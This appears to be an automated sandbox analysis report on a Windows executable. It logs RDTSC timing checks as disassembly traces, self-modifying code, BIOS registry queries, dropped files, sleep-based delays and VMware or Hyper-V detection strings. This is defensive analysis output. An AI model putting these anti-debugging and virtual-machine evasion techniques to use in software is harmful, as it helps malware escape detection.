Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71325 second address: 4D71340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71340 second address: 4D71358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71358 second address: 4D7136F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9648C33B3Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7136F second address: 4D7140A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+0Ch], eax 0x0000000c jmp 00007F96486CD656h 0x00000011 mov eax, dword ptr [esi+10h] 0x00000014 jmp 00007F96486CD650h 0x00000019 mov dword ptr [edx+10h], eax 0x0000001c pushad 0x0000001d call 00007F96486CD64Eh 0x00000022 mov bx, ax 0x00000025 pop ecx 0x00000026 pushfd 0x00000027 jmp 00007F96486CD657h 0x0000002c adc si, 155Eh 0x00000031 jmp 00007F96486CD659h 0x00000036 popfd 0x00000037 popad 0x00000038 mov eax, dword ptr [esi+14h] 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F96486CD64Dh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7140A second address: 4D7146B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+14h], eax 0x0000000c jmp 00007F9648C33B3Eh 0x00000011 mov eax, dword ptr [esi+18h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F9648C33B3Dh 0x0000001d or ch, FFFFFFA6h 0x00000020 jmp 00007F9648C33B41h 0x00000025 popfd 0x00000026 call 00007F9648C33B40h 0x0000002b pop ecx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7146B second address: 4D71471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71471 second address: 4D714AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+18h], eax 0x0000000b pushad 0x0000000c mov di, si 0x0000000f pushfd 0x00000010 jmp 00007F9648C33B40h 0x00000015 sbb ah, FFFFFFA8h 0x00000018 jmp 00007F9648C33B3Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov eax, dword ptr [esi+1Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 movsx ebx, si 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D714AB second address: 4D714B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D714B1 second address: 4D714B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D714B5 second address: 4D71574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+1Ch], eax 0x0000000b pushad 0x0000000c mov cl, 6Dh 0x0000000e call 00007F96486CD659h 0x00000013 pushfd 0x00000014 jmp 00007F96486CD650h 0x00000019 add ah, FFFFFF98h 0x0000001c jmp 00007F96486CD64Bh 0x00000021 popfd 0x00000022 pop esi 0x00000023 popad 0x00000024 mov eax, dword ptr [esi+20h] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F96486CD655h 0x0000002e add ax, 3D36h 0x00000033 jmp 00007F96486CD651h 0x00000038 popfd 0x00000039 popad 0x0000003a mov dword ptr [edx+20h], eax 0x0000003d pushad 0x0000003e mov eax, edx 0x00000040 pushfd 0x00000041 jmp 00007F96486CD64Fh 0x00000046 add ax, DA6Eh 0x0000004b jmp 00007F96486CD659h 0x00000050 popfd 0x00000051 popad 0x00000052 mov eax, dword ptr [esi+24h] 0x00000055 pushad 0x00000056 mov cl, 94h 0x00000058 pushad 0x00000059 mov edi, 47A2F2DAh 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71574 second address: 4D715AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [edx+24h], eax 0x00000009 jmp 00007F9648C33B47h 0x0000000e mov eax, dword ptr [esi+28h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9648C33B45h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D715AE second address: 4D715FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+28h], eax 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 mov eax, edx 0x00000012 popad 0x00000013 mov ecx, dword ptr [esi+2Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F96486CD64Ch 0x0000001f jmp 00007F96486CD655h 0x00000024 popfd 0x00000025 mov eax, 30D4A777h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D715FC second address: 4D71616 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+2Ch], ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f movzx ecx, bx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71616 second address: 4D7162D instructions: 0x00000000 rdtsc 0x00000002 mov dl, 14h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 call 00007F96486CD64Eh 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7162D second address: 4D7164F instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ax, word ptr [esi+30h] 0x0000000b jmp 00007F9648C33B3Dh 0x00000010 mov word ptr [edx+30h], ax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7164F second address: 4D71653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71653 second address: 4D71666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71666 second address: 4D7166B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7166B second address: 4D71671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71671 second address: 4D71682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ax, word ptr [esi+32h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71682 second address: 4D71686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71686 second address: 4D7168C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7168C second address: 4D716DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9648C33B3Bh 0x00000009 add ecx, 0231261Eh 0x0000000f jmp 00007F9648C33B49h 0x00000014 popfd 0x00000015 mov ebx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov word ptr [edx+32h], ax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9648C33B49h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D716DF second address: 4D71706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+34h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96486CD64Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71706 second address: 4D7170C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7170C second address: 4D71710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D717FE second address: 4D71810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9648C33B3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D50C73 second address: 4D50C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D50C79 second address: 4D50C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71833 second address: 4D71838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71838 second address: 4D71896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F9648C33B44h 0x00000010 mov edi, ecx 0x00000012 pop eax 0x00000013 jmp 00007F9648C33B47h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov edx, eax 0x0000001f call 00007F9648C33B3Eh 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71896 second address: 4D718B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD657h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D718B1 second address: 4D718FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F9648C33B3Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F9648C33B40h 0x00000018 push dword ptr [ebp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 mov dx, FC1Eh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D718FE second address: 4D71904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71904 second address: 4D71908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71908 second address: 4D71944 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F96486CD64Eh 0x00000015 adc ecx, 17A14218h 0x0000001b jmp 00007F96486CD64Bh 0x00000020 popfd 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB031C second address: 4DB0349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9648C33B40h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB0349 second address: 4DB034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB034D second address: 4DB036A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB036A second address: 4DB0388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96486CD650h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB0388 second address: 4DB01EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9648C33B41h 0x00000008 movzx eax, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp dword ptr [74E51560h] 0x00000014 mov edi, edi 0x00000016 push ebp 0x00000017 mov ebp, esp 0x00000019 push esi 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d push edi 0x0000001e mov edi, dword ptr fs:[00000018h] 0x00000025 cmp esi, 40h 0x00000028 jnc 00007F9648C33B47h 0x0000002a mov eax, dword ptr [ebp+0Ch] 0x0000002d mov dword ptr [edi+esi*4+00000E10h], eax 0x00000034 mov eax, 00000001h 0x00000039 pop edi 0x0000003a pop esi 0x0000003b pop ebp 0x0000003c retn 0008h 0x0000003f test eax, eax 0x00000041 je 00007F9648C33BF1h 0x00000047 call 00007F9648C3306Dh 0x0000004c mov edi, edi 0x0000004e push esi 0x0000004f call 00007F9648C34185h 0x00000054 push 00000000h 0x00000056 call 00007F9648C33ABCh 0x0000005b mov edi, edi 0x0000005d push ebp 0x0000005e mov ebp, esp 0x00000060 push esi 0x00000061 push dword ptr [00432014h] 0x00000067 mov esi, dword ptr [0042F0C0h] 0x0000006d call esi 0x0000006f mov edi, edi 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB01EB second address: 4DB01EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB01EF second address: 4DB01FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DB01FD second address: 4DB0292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov si, 6F5Bh 0x0000000f mov dx, ax 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F96486CD653h 0x0000001b jmp 00007F96486CD653h 0x00000020 popfd 0x00000021 mov eax, 217FE70Fh 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 jmp 00007F96486CD652h 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov ecx, edx 0x00000034 pushfd 0x00000035 jmp 00007F96486CD659h 0x0000003a add si, 3B56h 0x0000003f jmp 00007F96486CD651h 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Special instruction interceptor: First address: 81C8FF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Special instruction interceptor: First address: 81C9DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Special instruction interceptor: First address: 9CC4EE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_0081CE4C rdtsc

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe			Jump to dropped file

Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4076	Thread sleep time: -54027s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 796	Thread sleep count: 60 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 796	Thread sleep time: -120060s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4428	Thread sleep count: 92 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4428	Thread sleep count: 210 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4428	Thread sleep count: 171 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4428	Thread sleep count: 169 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 1696	Thread sleep time: -32000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4428	Thread sleep count: 201 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 5296	Thread sleep count: 46 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 5296	Thread sleep time: -92046s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4588	Thread sleep count: 42 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4588	Thread sleep time: -84042s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4296	Thread sleep count: 42 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4296	Thread sleep time: -84042s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4284	Thread sleep count: 43 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 4284	Thread sleep time: -86043s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 5688	Thread sleep count: 34 > 30			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe TID: 5688	Thread sleep time: -68034s >= -30000s			Jump to behavior

Source: 8V0INSl0E2.exe, 8V0INSl0E2.exe, 00000000.00000002.2593780499.00000000009A7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000002.2599789113.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: 8V0INSl0E2.exe, 00000000.00000003.2235722268.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2278080640.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhv[
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000002.2599789113.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
